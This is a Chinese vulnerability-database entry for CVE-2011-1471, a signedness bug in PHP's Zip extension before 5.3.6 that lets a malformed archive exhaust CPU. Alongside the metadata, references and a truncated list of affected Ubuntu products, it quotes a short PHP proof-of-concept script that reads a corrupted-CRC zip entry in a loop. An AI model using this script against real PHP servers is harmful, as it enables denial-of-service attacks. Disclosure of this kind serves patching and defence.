PHP Zip扩展zip_stream.c整数符号错误漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1120328 漏洞类型 数字错误
发布时间 2011-03-10 更新时间 2012-04-17
CVE编号 CVE-2011-1471 CNNVD-ID CNNVD-201103-265
漏洞平台 PHP CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/35485
https://www.securityfocus.com/bid/46975
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201103-265
|漏洞详情
PHP(PHP:HypertextPreprocessor,PHP:超文本预处理器)是PHPGroup和开放源代码社区共同维护的一种开源的通用计算机脚本语言。该语言主要用于Web开发,支持多种数据库及操作系统。PHP5.3.6之前版本中的Zip扩展中的zip_stream.c中存在整数符号错误漏洞。上下文攻击者可以借助能够触发zip_fread函数调用错误的畸形存档文件,导致拒绝服务(CPU消耗)。
|漏洞EXP
source: http://www.securityfocus.com/bid/46975/info

PHP is prone to a remote denial-of-service vulnerability that affects the 'Zip' extension.

Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed.

Versions prior to PHP 5.3.6 are vulnerable. 

<?php
$o = new ZipArchive();
if (! $o->open('test.zip',ZipArchive::CHECKCONS)) {
	exit ('error can\'t open');
}
$o->getStream('file2'); // this file is ok
echo "OK";
$r = $o->getStream('file1'); // this file has a wrong crc
while (! feof($r)) {
	fread($r,1024);
}
echo "never here\n";
?>
|受影响的产品
Ubuntu Ubuntu Linux 9.10 sparc Ubuntu Ubuntu Linux 9.10 powerpc Ubuntu Ubuntu Linux 9.10 lpia Ubuntu Ubuntu Linux 9.10 i386 Ubuntu Ubuntu Linux 9.10 ARM Ubuntu Ubuntu Lin
|参考资料

来源:www.php.net
链接:http://www.php.net/ChangeLog-5.php
来源:bugs.php.net
链接:http://bugs.php.net/bug.php?id=49072
来源:NSFOCUS
名称:16620
链接:http://www.nsfocus.net/vulndb/16620